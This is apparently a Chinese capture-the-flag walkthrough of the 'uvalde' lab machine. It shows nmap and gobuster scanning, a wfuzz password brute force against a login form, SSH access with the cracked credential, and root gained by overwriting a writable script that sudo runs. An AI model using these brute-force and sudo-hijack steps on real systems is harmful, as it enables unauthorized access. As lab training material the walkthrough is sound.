uvalde-bash提权

简介: uvalde-bash提权

服务探测

┌──(kali㉿kali)-[~]
└─$ nmap -sV -A -T 4 -p- 192.168.18.238

21,22,80

这里有个ftp有个匿名访问,里面有个output 文件,记录一些登录后的操作,我们先放着。可以知道一个用户名是matthew

目录扫描

gobuster dir -u http://192.168.18.2338/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,png -e

这里发现一个任意注册接口http://192.168.18.238/create_account.php,发现存在一定的规律,创建成功后会以bash64的方式返回账号密码

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ echo "dXNlcm5hbWU9YWRtaSZwYXNzd29yZD1hZG1pMjAyNEA3NzEy" | base64 -d    
username=admi&password=admi2024@7712 

解码后,发现密码的规律是用户名+2024@四位随机数,但是这是去年的靶场,所以应该是2023

发现还有一个用户名遍历漏洞,只要是被注册的用户都会返回 Username already exists

所以我们尝试爆破matthew用户,可以用burp但是太慢,我用wfuzz

先生成一个字典

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ crunch 4 4 0123456789 -o 1234

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ for i in {1000..10000};do echo $i;done > numbers.txt

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ wfuzz -X POST -d "username=matthew&password=matthew2024@FUZZ" -w 1234 -u http://192.168.18.238/login.php --hw 103
=====================================================================
ID           Response   Lines    Word       Chars       Payload     
=====================================================================

000001555:   302        0 L      0 W        0 Ch        "1554"  

所以用户密码是`matthew: matthew2023@1554

ssh连接

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ ssh matthew@192.168.18.238  //matthew2023@1554

matthew@uvalde:~$ cat user.txt 
6e4136fbed8f8c691996dbf42697d460

提权

sudo -l //(ALL : ALL) NOPASSWD: /bin/bash /opt/superhack
这里有个勒索程序
matthew@uvalde:~$ sudo /bin/bash /opt/superhack 
Pay 0.000047 BTC to 3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5 to unlock backdoor.                                                        

不过这里写什么并不重要,重要的是我们可以修改该文件

我们将superhack 文件重命名为superhack.back,然后重新创建一个superhack 文件,里面写入bash,然后使用sudo 执行,成功获取root 权限。

matthew@uvalde:~$ cd  /opt/
matthew@uvalde:/opt$ mv superhack superhack.bak
matthew@uvalde:/opt$ echo "bash" > superhack
matthew@uvalde:/opt$ sudo -u root /bin/bash /opt/superhack

root@uvalde:~# cat root.txt
59ec54537e98a53691f33e81500f56da


相关文章
|
存储 Java 编译器
java和c++的主要区别、各自的优缺点分析、java跨平台的原理的深度解析
java和c++的主要区别、各自的优缺点分析、java跨平台的原理的深度解析
1392 0
|
存储 缓存 移动开发
HTML5 的离线储存怎么使用,工作原理
HTML5 的离线储存怎么使用,工作原理
284 0
|
Docker 容器
容器的日志
【10月更文挑战第31天】
557 68
|
域名解析 网络协议
阿里云如何找回域名,进行添加或删除?
阿里云如何找回域名,进行添加或删除?
|
消息中间件 存储 NoSQL
python 使用redis实现支持优先级的消息队列详细说明和代码
python 使用redis实现支持优先级的消息队列详细说明和代码
217 0
|
测试技术 持续交付 开发者
使用Docker构建CI/CD流程:从理论到实践
【8月更文挑战第2天】使用Docker构建CI/CD流程,可以显著提高软件开发的效率和质量。通过容器化技术,开发者可以确保环境的一致性,快速部署和测试应用,并减少人为错误。结合合适的CI/CD工具和最佳实践,可以进一步加速软件交付过程,提高用户满意度。希望本文能为开发者在构建基于Docker的CI/CD流程时提供有价值的参考。
|
存储 文件存储
NAS个人云存储 - 手把手教你搭建Nextcloud个人云盘并实现公网远程访问(下)
NAS个人云存储 - 手把手教你搭建Nextcloud个人云盘并实现公网远程访问
一键自动化博客发布工具,用过的人都说好(阿里云篇)
使用一键自动化博客发布工具blog-auto-publishing-tools把博客发布到阿里云上。
一键自动化博客发布工具,用过的人都说好(阿里云篇)
|
SQL 开发框架 安全
CTF基础 --隐写术与密码学编码
CTF基础 --隐写术与密码学编码
220 0
|
存储 搜索推荐 索引
5个 Elasticsearch 核心组件
Elasticsearch 是基于 Lucene 的分布式搜索引擎,具备高可用和多租户特性。其核心组件包括:节点(Node)、集群(Cluster)、索引(Index)、分片(Shard)和副本(Replica)。节点是集群中的服务器,可设置为主、数据或客户端节点。集群由多个节点组成,通过集群名称区分。索引是文档集合,7.x 版本后每个索引仅含一种类型。分片是索引的子集,可分布于不同节点,分为主分片和副本分片,副本用于提高数据可用性和性能。【5月更文挑战第5天】
297 1